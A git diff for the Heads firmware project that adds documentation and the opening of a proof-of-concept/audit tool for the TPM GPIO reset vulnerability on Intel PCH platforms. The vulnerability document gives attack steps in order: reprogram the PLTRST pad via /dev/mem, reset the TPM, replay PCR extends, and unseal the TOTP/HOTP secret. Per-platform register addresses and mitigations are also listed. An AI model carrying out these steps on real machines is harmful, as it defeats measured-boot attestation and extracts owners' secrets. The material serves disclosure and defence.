Appendix A: Key Register Addresses Reference + +Per-platform register addresses (PCR_BASE, community base, DW0/DW1 address, +PADCFGLOCK/PADCFGLOCKTX) are the authoritative output of the script's +`calculate_registers()` function. See `initrd/bin/tpm-gpio-reset-demo.sh`: +- Header comments (lines 50-76): port, pad index, PAD_CFG_BASE, lock offset + per platform family. +- `detect_platform()` case statement (lines 260-368): PCI device ID to + platform parameter mapping. +- `calculate_registers()` (lines 533-620): full address computation from + PCR_BASE, community port, pad index, and PAD_CFG_BASE. + +### ADL-P PADCFGLOCK Readings from NV4x + +| Register | Address | Value (LE) | Value (decoded) | +|---|---|---|---| +| PADCFGLOCK | 0xFD6E0080 | 0x00010203 | Bits 0, 8, 17 set (not GPP_B13) | +| PADCFGLOCKTX | 0xFD6E0084 | 0x00000000 | No TX locked pads | + +CNP-LP remains **UNTESTED** -- no hardware verification. kukri's PoC does not +support this PCH family. + +--- + +## Appendix B: Script Output Reference + +### Audit Mode Output (NV4x ADL-P) + +``` +====================================================================== + 1. PLATFORM DETECTION +====================================================================== +[OK] Detected PCH: Alder/Raptor Lake (ADL/RPL) -- device 0x5182 + Attack path: GPIO PAD_CFG (GPP_B13 pad, local idx 13) + Port: 0x6e | PAD_CFG_BASE: 0x700 + +====================================================================== + 2. REGISTER ADDRESS CALCULATION +====================================================================== + Pad offset within community: 13 - 0 = 13 + Bytes per pad: 4 DWORDS x 4 = 16 bytes + DW0 register offset in community: 0x700 + (13 * 16) = 0x7d0 + +====================================================================== + 3. CURRENT REGISTER CONFIGURATION +====================================================================== +[OK] Pad is correctly configured as native function output. + +====================================================================== + 4. TPM GPIO RESET (hardware -- preserves NVRAM) +====================================================================== + AUDIT MODE: No GPIO reset will be performed. The attack plan would be: + ... +``` + +### Execute Mode Output (NV4x ADL-P -- mechanism fails) + +``` +====================================================================== + 4. TPM GPIO RESET (hardware -- preserves NVRAM) +====================================================================== + PADCFGLOCK at 0xfd6e0080: 0x00010203 (bit 13 not set) + PLTRST pad NOT locked -- writes should work +... (writes succeed, readback verified) ... + +====================================================================== + 5. PCR VERIFICATION +====================================================================== +[WARN] PCR 2 is non-zero -- GPIO reset may not have worked + NOTE: ADL-P platforms (NovaCustom NV4x, Nitropad NS50) are + confirmed vulnerable (no GPIO lock) but PCR 2 remained non-zero + after PLTRST# assertion attempt using the kukrimate method — the + pad may not be electrically connected to the TPM reset line on + this PCH die. The kukrimate inteltool.c does not support ADL-P + device IDs, and hardware testing (NV4x) showed the kernel TPM + driver did not detect a bus reset after GPIO pad manipulation. +``` + +--- + +## Appendix C: References + +- **mkukri.xyz -- "TPM GPIO fail: The Forgotten Bus"** (June 2024) + https://mkukri.xyz/2024/06/01/tpm-gpio-fail.html + Original disclosure with detailed analysis. + +- **kukrimate/tpm-gpio-fail (GitHub)** -- GPL-2.0 PoC tools + https://github.com/kukrimate/tpm-gpio-fail + Contains `detect` and `reset` tools with platform data for SPT, KBP, CNP-H. + +- **coreboot ticket #576** -- "PLTRST_CPU_B pad should be locked to prevent + userspace TPM GPIO reset" + https://ticket.coreboot.org/issues/576 + +- **coreboot patch series** -- "intel_gpio_lock" + https://review.coreboot.org/q/topic:%22intel_gpio_lock%22 + - `#90884` (merged): Set `pad_cfg_lock_offset` in Skylake GPIO communities. + - `#90885` (open): Select `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` for + Skylake -- tested, does not work on real hardware. + - `#93324` (open): Board-level GPIO lock for Lenovo SKL/KBL ThinkPads + (T480/T480s). Depends on 90885. Stalled on Intel maintainer review + alongside 90885 -- no human Code-Review since June 2026. + - `#93422` (open): Split FSP lockdown (includes Star Labs PchUnlockGpioPads + fix commit 06f3c07, updated July 22 2026). Awaiting Intel maintainer review. + +- **Heads issue #2159** -- TPM GPIO reset attack tracking + https://github.com/linuxboot/heads/issues/2159 + +- **Intel GPIO Best Practices Guide** -- ID 834810 (Public) + Describes pad configuration lock mechanisms and platform-specific register + layouts. Publicly available at intel.com. + +- **chipsec tpm_gpio_fail module** + https://github.com/chipsec/chipsec + Decision tree for evaluating TPM GPIO fail vulnerability on any Intel platform. diff --git a/doc/TPM_GPIO_Reset_Vulnerability.md b/doc/TPM_GPIO_Reset_Vulnerability.md new file mode 100644 index 000000000..78346ac7c --- /dev/null +++ b/doc/TPM_GPIO_Reset_Vulnerability.md @@ -0,0 +1,133 @@ +# TPM GPIO Reset Vulnerability + +## Summary + +On Intel Skylake+ platforms, discrete TPMs connect to the PCH via LPC/eSPI/SPI. These buses share a reset pin (PLTRST#) on a multi-function PCH pad that software can reprogram to GPIO mode. An attacker with OS-level code execution can reassign the pin to GPIO, briefly drive it low to trigger a TPM Reset (restart to power-on state: PCRs cleared, NVRAM preserved), restore it, then forge arbitrary PCR measurements — no physical access needed. + +This allows extracting disk encryption keys sealed without a passphrase (e.g., BitLocker without PIN, LUKS sealed to PCRs without passphrase), forging TPMTOTP/HOTP attestation codes, and defeating Intel BootGuard measured boot by resetting PCRs after BootGuard extends. + +Disclosed by Mate Kukri, June 2024: . No CVE assigned by Intel. + +## Mitigation + +Intel PCHs include a GPIO pad configuration lock bit. When set by firmware before boot, the pad function becomes read-only, preventing OS-level reprogramming. The lock must be set by platform firmware (coreboot, in Heads' case). Intel's NDA-only BIOS writer's guide documents these lock bits; the open-source community lacks this documentation, complicating implementation where the lock method is not known from working vendor implementations. + +## coreboot GPIO Lock Status by Platform Generation + +Source: coreboot source code in `src/soc/intel/`. Checked against coreboot 25.09 and 26.06 upstream. + +| Platform generation | GPIO lock status | Details | +|---|---|---| +| Sandy/Ivy/Haswell/Broadwell (2nd-5th Gen) | **Not vulnerable** | PLTRST# is a dedicated PCH pin on these platforms, not a multi-function pad shared with GPIO. Cannot be reprogrammed by software. | +| Skylake/Kaby Lake (6th-8th Gen) | **Not functional** | Common GPIO block exists but `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_*` not selected; `pad_cfg_lock_offset` missing from 25.09 (added in 26.06 by merged patch #90884, but still non-functional without Kconfig selection). | +| Cannonlake/CFL/WHL/CML (8th-10th Gen) | **Not functional** | CNP-LP (0x9d84) has no PADCFGLOCK register in hardware (pad_cfg_lock_offset=0 in GPIO community structs). Per Intel doc 834810, Comet Lake U (0x9d8* in some steppings) does have PADCFGLOCK at offset 0x88. CNP-LP proper (0x9d84) confirmed no lock register per coreboot gpio.c (pad_cfg_lock_offset=0). **Note**: pad_cfg_lock_offset=0 could also mean "lock register at community base+0" rather than "absent" -- practical PADCFGLOCK reads return 0x00000000, consistent with either interpretation. | +| Tiger Lake (11th Gen) | **Not functional** | Same as Cannonlake: no struct fields, no Kconfig selection. | +| Alder Lake/Raptor Lake (12th-13th Gen) | **Functional** | `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` selected. `pad_cfg_lock_offset` populated in GPIO community structs. | +| Meteor Lake+ (Core Ultra Series 1+) | **Not functional** | `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` selected and `pad_cfg_lock_offset` populated, but no board GPIO tables use `PAD_CFG_LOCK` macros -- zero pads actually locked. FSP also sets `PchUnlockGpioPads=1` on MTL, force-unlocking all pads. | + +The SMM-based lock path (`SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS`) is selected by **no** platform in coreboot upstream — the SMI finalize handler for GPIO locking is dead code. + +### Kconfig selection coverage + +Four SoC families select a GPIO lock method in upstream coreboot: + +``` +src/soc/intel/alderlake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI +src/soc/intel/meteorlake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR +src/soc/intel/pantherlake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR +src/soc/intel/novalake/Kconfig: select SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR +``` + +All other `soc/intel/*` platforms do not select either option. Attempts to backport the lock to Skylake via the PCR method (CL #90885) did not work on real hardware — the lock bits are not actually set despite the code executing. + +### Code paths + +**Non-SMM path** (`gpio_non_smm_lock_pad()` in `src/soc/intel/common/block/gpio/gpio.c`): Called from ramstage when `gpio_configure_pads()` processes pads with `PAD_CFG_LOCK`. Requires either `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` or `_USING_SBI`. Without either, prints `"Error: No pad configuration lock method is selected!"` and returns without locking. + +**SMM path** (`gpio_lock_pads()`): Only available when `SOC_INTEL_COMMON_BLOCK_SMM_LOCK_GPIO_PADS` is selected (no platform selects this). Always uses SBI. Would be invoked from the finalize SMI handler, but requires a platform-specific `soc_gpio_lock_config()` override specifying which pads to lock — the weak default returns nothing. + +## Attack Feasibility + +### Prerequisites + +- **OS-level code execution**: Via dual-boot, USB boot, or malware. On Heads, booting into the (unauthenticated) recovery shell is the primary attack vector. +- **Platform PLTRST pad definition**: GPIO pad number, community, and register offset for the target PCH. +- **Vulnerable platform**: Skylake through Tiger Lake where GPIO lock is non-functional. Pre-Skylake uses a dedicated PLTRST# pin (not vulnerable). Meteor Lake+ is not vulnerable because GPIO PLTRST# assertion does not apply to eSPI-connected TPMs. See [Per-Platform Feasibility](#per-platform-feasibility). + +### Attack Steps (requires recovery shell access on Heads) + +1. **Boot into the Heads recovery shell** (unauthenticated by default). +2. **Obtain measurement logs** for PCR state forging: + - **`cbmem -L`**: coreboot event log with PCR 2 extends (bootblock -> romstage -> ramstage -> payload). Each entry includes a cryptographic digest (SHA-256 on TPM 2.0, SHA-1 on TPM 1.2) usable with the TPM extend command. + - **`/tmp/measuring_trace.log`**: Heads initrd log recording PCR 7 extends (each CBFS file: two sequential extends — first filename string, then file content) and PCR 4 boot path extends ("generic", "usb", or "recovery"). Lives in tmpfs; volatile across reboots but available in any running Heads session. If unavailable offline: PCR 4 is deterministic from boot path. PCR 7 can be recomputed from ROM by extracting CBFS files with `cbfstool` and replaying the two-step extend sequence (hash filename string, then hash file content; SHA-256 on TPM 2.0, SHA-1 on TPM 1.2). On UEFI boards, `uefi-init.sh` does only a single extend of file content (no filename prefix). +3. **Locate the PLTRST pad** via `/dev/mem` and reprogram it from native function (LPC/eSPI/SPI) to GPIO output mode. +4. **Drive the pad low for ~10 ms**, asserting a hardware TPM Reset (PCRs cleared, NVRAM preserved), then drive high to deassert. +5. **Replay PCR extends** in order: + - **PCR 2**: SRTM measurements from `cbmem -L` digests. + - **PCR 7**: Two-step CBFS file extends (filename string then content) from the log or computed offline from ROM. + - **PCR 4**: One of "generic", "usb", or "recovery" — deterministic from boot path. + - **PCRs 0, 1, 3**: Always zero on standard Heads boards — no extends needed. + - **Note on PCR 0**: Even if extended (e.g., BootGuard measured boot), it does NOT protect against GPIO reset. Per TCG PC Client TIS, PCRs 0-15 have `pcrExtendLocal = 1,1,1,1,1` — extendable from all localities including locality 0. After reset, an attacker can extend PCR 0 from locality 0 to any forged value. Intel's claim in doc 834810 that PCR 0 is a software mitigation is inaccurate. +6. **Call `tpm2_unseal`** on NVRAM index `0x4d47` (TOTP/HOTP key). Succeeds because PCRs match the expected state and no passphrase protects this index. +7. **Extract the 20-byte TOTP/HOTP shared secret**. Optionally restore original pad configuration to hide traces. + +**0x80000000 write mechanism:** The write is a mode transition — switching PLTRST# from native function (NF1, driven by PCH's LPC/eSPI controller) to GPIO output mode with TX=0 (driven low). The falling edge on the physical pin is what the TPM interprets as a reset pulse. PADRSTCFG bits [31:30]=10 (PLTRST reset domain) configure the pad register's own reset source, not the output signal. Writing 0x80000000 does NOT "assert" PLTRST# as a single action — it is the NF1->GPIO transition that creates the voltage edge. + +### TPM Reset Scope (per TCG Specification) + +A GPIO reset triggers a platform-level TPM reset equivalent to `TPM2_Startup(CLEAR)`, per TCG TPM 2.0 Library specification Part 1: Sections 4 (volatile/non-volatile/transient resource definitions), 12.2.3.2 (TPM Reset startup type), and 37 (NV Memory persistence categories). + +**Cleared (volatile memory):** PCRs 0-23 reset to their initial all-zero state (`TPM_PT_PS_REVISION`); attacker can forge arbitrary values by extending cleared PCRs. HMAC sessions and transient objects are destroyed. + +**Preserved (non-volatile memory):** Sealed data objects (created via `TPM2_Create` with PCR policy) persist across reset — NVRAM index 0x4d47 (TOTP/HOTP) remains intact and is unsealed once PCRs are restored. Persistent key handles (e.g., primary key at 0x81000000) survive — storage hierarchy seed is preserved. NVRAM indices with their auth values persist; index 0x4d47 (TOTP/HOTP) and index 3 (DUK) are both preserved. + +**Unseal requirements** (TPM 2.0 Part 1, Section 27.2.6): `TPM2_Unseal` requires BOTH matching PCR values AND any auth value specified at seal time. Applied to Heads: +- **TOTP/HOTP** (`seal-totp.sh` line 66): Sealed at index 0x4d47 with empty auth value (`tpmr.sh seal` 7th argument is `""`). After GPIO reset + PCR replay, unseal succeeds because auth value is empty and PCRs match. **Extractable.** +- **DUK** (`kexec-seal-key.sh` line 309): Sealed at index 3 with a user-chosen passphrase (`$key_password`). Even after reset + PCR replay, the attacker must provide this passphrase — `TPM2_Unseal` requires both matching PCRs AND the correct auth value. **Not extractable without the passphrase.** + +### Mitigations + +**1. Authenticated recovery shell** (`CONFIG_BOOT_RECOVERY_GPG=` in board config): Prevents unauthenticated access to `cbmem -L` and `/tmp/measuring_trace.log`, blocking the primary log acquisition vector on Heads. + +**2. Firmware integrity verification**: An attacker with physical access could extract the SPI ROM and compute CBFS file hashes offline, bypassing the need for `/tmp/measuring_trace.log`. Regular external verification of firmware integrity (comparing ROM dumps against known-good hashes) detects tampering. + +**3. TPM DUK with passphrase**: The DUK is NOT extractable via GPIO reset + PCR replay (auth value required). A strong DUK passphrase protects disk encryption keys even if TOTP/HOTP attestation is compromised. + +### What the Attacker Obtains + +- **TOTP/HOTP shared secret (20 bytes)**: Extracted. Sealed with empty auth value; PCR replay alone suffices for unseal. Attacker can produce valid TOTP codes indefinitely (defeating remote attestation) and valid HOTP codes for USB security dongle authentication. +- **DUK with passphrase**: NOT extractable — `TPM2_Unseal` requires the passphrase in addition to PCRs. + +### What the Attacker Does NOT Obtain + +- The DUK passphrase (not stored in the TPM; only an auth verifier per TCG specification). +- The GPG private key (sealed separately with a passphrase). +- The LUKS header content (though PCR 6 can be forged since the LUKS header hash can be recomputed from disk). + +### Per-Platform Feasibility + +| Platform | Feasible? | Notes | +|---|---|---| +| Pre-Skylake (xx20/30/4x, w530, w541, Optiplex 7010/9010, HP Z220, x220) | **No** | PLTRST# is a dedicated PCH pin, not shared with GPIO. Cannot be reprogrammed by software. This classification is based on Intel PCH architecture documentation. No hardware testing has confirmed that pre-SKL PLTRST# pins are not GPIO-multiplexed on any die stepping. Community verification welcomed. | +| CML-U (0x066x, Comet Lake U 400 Series) | **Unconfirmed** | Has PADCFGLOCK at offset 0x88 per Intel doc 834810. Some 0x9d8* steppings also have PADCFGLOCK at 0x88. Only 0x9d84 (CNP-LP proper) is confirmed to lack the register. | +| Skylake through Tiger Lake (T480, M900 Tiny, Purism Librem boards) | **Yes** | GPIO lock non-functional in coreboot -- no lock Kconfig selected, no `pad_cfg_lock_offset` (except Skylake 25.09+ which has the field but no working lock). mechanism confirmed working by kukri on Kaby Lake PCH family (used by T480); M900 (SPT) shares same PCH port 0xaf, offset 0x528, not hardware-tested. **Note**: Intel doc 834810 does not cover pre-Tiger Lake platforms. SPT/KBP (Skylake/Kaby Lake) PADCFGLOCK offsets (0xA8 per kukri) have no public Intel verification. | +| CNP-LP (T480s) | **Unconfirmed** | No public test data; kukri PoC does not support this PCH family. | +| Alder Lake / Raptor Lake with upstream coreboot | **Unlikely** | Lock infrastructure compiled (SBI method, offsets defined) but no board selects SMM lock path. ADL-P hardware-tested on NV4x: mode bits [13:10] are hardware-locked (cannot be changed at runtime), TX bit toggle inconclusive (anomalous readback). Cannot confirm attack feasible on any ADL/RPL die without physical scope. | +| Alder Lake / Raptor Lake-P with Dasharo fork (NV4x/NS50 -- mobile) | **Inconclusive** | `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_SBI` selected, PADCFGLOCK=0 and PADCFGLOCKTX=0 (HW-unlocked), but mode bits [13:10] hardware-locked (NF1 write fails, readback stays GPIO). TX bit toggle also inconclusive: readback 0x03000080 has anomalous bits (7,24,25) not in any DW0 field. `/sys/class/tpm/tpm0/pcrs` not found after assertion attempt -- kernel driver detected no bus reset. PCR clearing is from `tpm2 startup -c` alone. Cannot confirm/deny PLTRST# assertion without physical scope on LPC/eSPI reset line. NV4x confirmed to have discrete Infineon TPM 2.0 chip (dTPM via LPC/eSPI). kukri's PoC does NOT support ADL-P mobile (desktop only). | +| Alder Lake-S / Raptor Lake-S with Dasharo fork (Z790-P -- desktop) | **Unknown** | Same Dasharo fork configuration as ADL-P (SBI selected, SMM disabled), but ADL-S/RPL-S desktop was NOT tested. The attack mechanism may behave differently on desktop PCH dies. Community testing needed. | +| Meteor Lake with Dasharo fork (v540tu/v560tu) | **No** | PCR lock infrastructure compiled (`SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` selected, `pad_cfg_lock_offset` populated) but no board GPIO tables use `PAD_CFG_LOCK` macros -- zero pads locked. FSP sets `PchUnlockGpioPads=1` on MTL, force-unlocking all pads. Not vulnerable because GPIO PLTRST# assertion does not apply to eSPI-connected TPMs on this platform. Per Intel doc 834810, MTL uses PCR port 0xD5 (different GPIO community layout than ADL's 0x6E). Locking requires 3 coordinated changes: (1) Fix PchUnlockGpioPads logic, (2) Move mainboard_configure_gpios() from romstage to ramstage after FSP-S, (3) Add PAD_CFG_NF_LOCK to board GPIO tables. None of these are applied in current builds. | +| Meteor Lake+ (upstream coreboot) | **No** | Same as Dasharo fork: PCR lock infrastructure compiled but unenforced; zero pads locked; FSP force-unlocks pads via `PchUnlockGpioPads=1`. Not vulnerable because PLTRST# assertion does not apply to eSPI-connected TPMs. | + +## Upstream Tracking + +- **Disclosure blog post**: +- **Detection tool**: +- **coreboot ticket**: +- **coreboot patch series**: + - `#90884` (merged): Set `pad_cfg_lock_offset` in Skylake GPIO communities + - `#90885` (open): Select `SOC_INTEL_COMMON_BLOCK_GPIO_LOCK_USING_PCR` for Skylake — tested, does not work on real hardware +- **Heads issue**: + +**Star Labs PchUnlockGpioPads fix (commit 06f3c07):** Sean Rhodes (Star Labs) identified and fixed the inverted PchUnlockGpioPads logic on Alder Lake — the original code had `PchUnlockGpioPads = lockdown_by_fsp` (setting the UPD to 0 when coreboot should manage lockdown, which is the correct semantic, but the variable name implies the opposite of what it does). The standalone fix exists at commit 06f3c07 and is also part of the larger coreboot patch series 93422 (split FSP lockdown, updated July 22 2026). Currently awaiting Intel maintainer review. + +**coreboot patch 93324:** Board-level GPIO lock for Lenovo SKL/KBL ThinkPads (T480/T480s). Depends on 90885. Currently stalled on Intel maintainer review alongside 90885. No human reviewer has provided Code-Review on any of these patches since June 2026. diff --git a/doc/faq.md b/doc/faq.md index 0dca32e7a..3222db1d4 100644 --- a/doc/faq.md +++ b/doc/faq.md @@ -1,122 +1,4 @@ Frequently Asked Questions about Heads === -Why replace UEFI with coreboot? ---- -While Intel's edk2 tree that is the base of UEFI firmware is open source, -the firmware that vendors install on their machines is proprietary and -closed source. Updates for bugs fixes or security vulnerabilities -are at the vendor's convenience; user specific enhancements are likely not -possible; and the code is not auditable. - -UEFI is much more complex than the BIOS that it replaced. It consists of -millions of lines of code and is an entire operating system, -with network device drivers, graphics, USB, TCP, https, etc, etc, etc. -All of these features represents increased "surface area" for attacks, -as well as unnecessary complexity in the boot process. - -coreboot is open source and focuses on just the code necessary to bring -the system up from reset. This minimal code base has a much smaller -surface area and is possible to audit. Additionally, self-help is -possible if custom features are required or if a security vulnerability -needs to be patched. - - -What's wrong with UEFI Secure Boot? ---- -Can't audit it, signing keys are controlled by vendors, -doesn't handle hand off in all cases, depends on possible leaked keys. - - -Why use Linux instead of vboot2? ---- -vboot2 is part of the coreboot tree and is used by Google in the -Chromebook system to provide boot time security by verifying the -hashes on the coreboot payload. This works well for the specialized -Chrome OS on the Chromebook, but is not as flexible as a measured -boot solution. - -By moving the verification into the boot scripts we're able to have -a much flexible verification system and use more common tools like PGP -to sign firmware stages. - - -What about Trusted GRUB? ---- -The mainline grub doesn't have support for TPM and signed kernels, but -there is a Trusted grub fork that does. Due to philosophical differences -the code might not be merged into the mainline. And due to problems -with secure boot (which Trusted Grub builds on), many distributions have -signed insecure kernels that bypass all of the protections secure -boot promised. - -Additionally, grub is closer to UEFI in that it must have device -drivers for all the different boot devices, as well as filesystems. -This duplicates the code that exists in the Linux kernel and has its -own attack surface. - -Using coreboot and Linux as a boot loader allows us to restrict -the signature validation to keys that we control. We also have one code -base for the device drivers in the Linux-as-a-boot-loader as well -as Linux in the operating system. - - -What is the concern with the Intel Management Engine? ---- -"Rootkit in your chipset", "x86 considered harmful", etc - - -How about the other embedded devices in the system? ---- -#goodbios, funtenna, etc. - - -Should we be concerned about the binary blobs? ---- -Maybe. x230 has very few (MRC) since it has native vga init. - - -Why use ancient Thinkpads instead of modern Macbooks? ---- -coreboot support, TPM, nice keyboards, cheap to experiment on. - -How likely are physical presence attacks vs remote software attacks? ---- -Who knows. - - -Defense in depth vs single layers ---- -Yes. - -is it worth doing the hardware modifications? ---- -Depends on your threat model. - - -Should I validate the TPMTOTP on every boot? ---- -Probably. I want to make it also do it at S3. - - -suspend vs shutdown? ---- -S3 is subject to cold boot attacks, although they are harder to -pull off on a Heads system since the boot devices are constrained. - -However, without tpmtotp in s3 it is hard to know if the system is in -a safe state when the xscreensaver lock screen comes up. Is it a fake -to deceive you and steal your login password? Maybe! It wouldn't get -your disk passphrase, which is perhaps an improvement. - - -Disk key in TPM (LUKS TPM Disk Unlock Key) or user passphrase? ---- -Depends on your threat model. With the Disk Unlock Key in the TPM an -attacker would need to have the entire machine (or a backdoor in the TPM) -to get the key and their attempts to unlock it can be rate limited -by the TPM hardware. - -However, this ties the disk to that one machine (without having to -recover and type in the master key), which might be an unacceptable risk -for some users. +See [Heads FAQ](https://osresearch.net/FAQ/) for frequently asked questions. diff --git a/doc/keys.md b/doc/keys.md index d57a80fc9..1f7de8c6f 100644 --- a/doc/keys.md +++ b/doc/keys.md @@ -1,5 +1,7 @@ # Keys and Secrets in Heads +See also: [About/Keys](https://osresearch.net/Keys/) for the narrative system-level key inventory. + Heads uses several distinct secrets and keys, each protecting a different layer of the system. Understanding what each one does helps in choosing appropriate passphrases and in recovery scenarios. diff --git a/doc/security-model.md b/doc/security-model.md index 8d5e630f0..5979db53c 100644 --- a/doc/security-model.md +++ b/doc/security-model.md @@ -5,7 +5,8 @@ established, how integrity is verified at each boot, and how secrets are protected. See also: [architecture.md](architecture.md), [tpm.md](tpm.md), -[boot-process.md](boot-process.md), [ux-patterns.md](ux-patterns.md). +[boot-process.md](boot-process.md), [ux-patterns.md](ux-patterns.md), +[Heads threat model](https://osresearch.net/Heads-threat-model/) for the user-facing per-board protection status. --- diff --git a/initrd/bin/tpm-gpio-reset b/initrd/bin/tpm-gpio-reset new file mode 100755 index 000000000..25b8fbe28 --- /dev/null +++ b/initrd/bin/tpm-gpio-reset @@ -0,0 +1,38 @@ +#!/bin/sh +# TPM GPIO reset detection and assertion tool +# Thin wrapper around kukrimate/tpm-gpio-fail C PoC (tlaurion fork) +# Extended with all platform families, bus pin checking, and Intel doc 834810 cross-reference +# See modules/tpm-gpio-reset for build configuration + +case "${1:-}" in + --audit|-a) + exec detect # C binary does all hardware detection + ;; + --assert|--execute|-x) + exec detect "$@" # forward --assert/--execute to C binary + ;; + --help|-h|*) + echo "Usage: $0 [option]" + echo "Options:" + echo " -a, --audit Detect platform and check GPIO lock status" + echo " -x, --assert, --execute Detect platform, assert PLTRST#, and check TPM reset" + echo " -h, --help Show this help message" + echo "" + echo "Platform families supported:" + echo " SPT/KBP (Skylake/KabyLake) - tier 1 (confirmed)" + echo " CML-DT (Comet Lake Desktop) - tier 1 (confirmed)" + echo " CFL-S (Coffee Lake S/H) - tier 2 (unconfirmed)" + echo " CNP-LP (Cannon Point LP) - tier 2 (unconfirmed)" + echo " CML-U (Comet Lake U) - tier 2 (unconfirmed)" + echo " TGL (Tiger Lake) - tier 2 (unconfirmed)" + echo " ADL-P (Alder Lake P) - tier 3 (uncertain)" + echo " ADL-S (Alder Lake S) - tier 3 (uncertain)" + echo " RPL-P (Raptor Lake P) - tier 3 (uncertain)" + echo " RPL-S (Raptor Lake S) - tier 3 (uncertain)" + echo " ARL-S (Arrow Lake S) - tier 3 (uncertain)" + echo " MTL (Meteor Lake) - not vulnerable" + echo " Pre-SKL (Sandy/Ivy/Haswell/Broadwell) - not vulnerable" + echo "" + echo "See doc/TPM_GPIO_Reset_Vulnerability.md for per-platform feasibility analysis." + ;; +esac diff --git a/initrd/bin/tpm-gpio-reset-demo.sh b/initrd/bin/tpm-gpio-reset-demo.sh new file mode 100755 index 000000000..d36e053c2 --- /dev/null +++ b/initrd/bin/tpm-gpio-reset-demo.sh @@ -0,0 +1,1758 @@ +#!/bin/bash +# SPDX-License-Identifier: GPL-2.0-only +# +# TPM GPIO Reset Attack -- Proof of Concept / Audit Tool +# +# ============================================================================ +# WHAT THIS SCRIPT DEMONSTRATES +# ============================================================================ +# +# The TPM GPIO reset attack exploits a design flaw on certain Intel PCH +# platforms where the PLTRST# (Power Loss Timer Reset) signal to the TPM +# can be asserted from userspace through PCH sideband registers. +# +# Two mechanisms exist, both accessed via PCR (Private Configuration Register) +# MMIO space: +# +# CNP-LP (T480s): PLTRST_CPU_B is on a multi-function GPIO pad (pad 256, +# COM3). The pad is reprogrammed from native function to GPIO output mode, +# driven low (assert reset), then the original mode is restored. +# +# SPT/KBP (T480) and ADL/RPL: Write 0x80000000 to the PAD_CFG DW0 register +# at a platform-specific PCR address. This asserts PLTRST# at the PCH level +# without changing the pad's GPIO mode. +# +# By asserting PLTRST#, the attacker can reset the TPM without power cycling +# the platform, clearing all PCRs to their initial (all-zero) state while the +# CPU and memory contents remain intact. +# +# After reset, if the attacker can replay the PCR extend operations from a +# saved measurement log, the TPM will present the expected PCR values and +# unseal the TOTP/HOTP secrets -- effectively bypassing the +# measured boot trust chain. +# +# Attack vector: The measurement logs (cbmem -L, /tmp/measuring_trace.log) +# are accessible from the Heads recovery shell. An unauthenticated recovery +# shell provides all the information needed to replay PCR measurements. +# Configuring GPG authentication for the recovery shell +# (CONFIG_BOOT_RECOVERY_GPG=) prevents this. +# +# ============================================================================ +# AFFECTED PLATFORMS +# ============================================================================ +# +# Three classes of platforms based on PCH generation: +# +# 1. Cannon Point LP (CNP-LP) -- Kaby Lake-R / Whiskey Lake / Comet Lake (300-series) +# PLTRST_CPU_B is mapped as a GPP pad inside the GPIO community and can +# be toggled directly from userspace. UNTESTED -- no hardware verification. +# kukri's PoC does not support this PCH family. +# +# * ThinkPad T480s, T490, T495, X390, etc. (device ID 0x9d84) +# * PLTRST_CPU_B = pad 256, GPIO community 3 (PID_GPIOCOM3 = 0x6b) +# * Offset within community: 149 (first pad of comm 3 is HDA_BCLK = 107) +# +# 2. Skylake/Kaby Lake PCH (SPT/KBP) -- 6th/7th gen mobile/desktop +# GPP_B13 drives PLTRST# via GPIO PAD_CFG at PCR port 0xaf, +# COMM_0, local idx 13. PAD_CFG_BASE = 0x400. +# This method IS IMPLEMENTED here. UNTESTED -- no hardware verification. +# +# * ThinkPad T480 (KBL), T470, X270, T460, X260, etc. +# +# 3. Alder Lake / Raptor Lake PCH (ADL/RPL) -- 12th/13th/14th gen +# GPP_B13 drives PLTRST# via GPIO PAD_CFG at PCR port 0x6d +# (ADL-S/RPL-S, COMM_1) or 0x6e (ADL-P mobile, COMM_0). +# All variants use local idx 13 with PAD_CFG_BASE = 0x700. +# This method IS IMPLEMENTED here. TESTED on NV4x ADL-P: write verified, PCRs do not clear -- mechanism NOT confirmed working. +# +# * NovaCustom NV4x ADL, Nitropad NS50, MSI Z790-P DDR5, etc. +# +# 4. Pre-Skylake (Sandy Bridge, Ivy Bridge, Haswell, Broadwell) +# The PLTRST# signal to the TPM is a dedicated pin that cannot be +# reprogrammed to GPIO mode by software. NOT AFFECTED. +# This classification is based on Intel PCH architecture documentation -- +# no hardware testing has confirmed that pre-SKL PLTRST# pins are not +# GPIO-multiplexed on any die stepping. Community verification welcomed. +# +# 5. Meteor Lake (MTL) +# GPIO lock is functional on these platforms. NOT AFFECTED. +# +# ============================================================================ +# REFERENCES +# ============================================================================ +# +# [1] mkukri.xyz -- "TPM GPIO fail: The Forgotten Bus" +# https://mkukri.xyz/2024/06/01/tpm-gpio-fail.html +# Original discovery and detailed analysis by mkukri. +# +# [2] kukrimate/tpm-gpio-fail (GitHub) -- GPL-2.0 PoC tools +# https://github.com/kukrimate/tpm-gpio-fail +# Contains the original `detect` and `reset` tools this Heads +# PoC script is conceptually based on. The `reset` directory +# provides platform-specific data (PCH device IDs, PCR ports, +# pad offsets, GPIO community definitions in inteltool.h) that +# informed the platform database in this script. +# https://github.com/kukrimate/tpm-gpio-fail/tree/main/reset +# +# [3] coreboot ticket #576 -- "PLTRST_CPU_B pad should be locked +# to prevent userspace TPM GPIO reset" +# https://ticket.coreboot.org/issues/576 +# Tracking the coreboot-side fix: lock the pad config after +# initialization to prevent runtime reprogramming. +# +# [4] linuxboot/heads PR #1568 -- "scripts: add TCPA log replay support" +# https://github.com/linuxboot/heads/pull/1568 +# Added TCPA/TPM event log replay to Heads (later moved to tpmr.sh +# calcfuturepcr). This script delegates measurement replay to the +# same tpmr.sh infrastructure. +# +# ============================================================================ +# DISCLAIMER +# ============================================================================ +# +# This script is provided for AUDITING, EDUCATIONAL, and RESEARCH purposes +# ONLY. It demonstrates a known vulnerability so that: +# - Platform owners can verify whether their hardware is affected +# - Developers can test mitigation patches +# - The community can audit 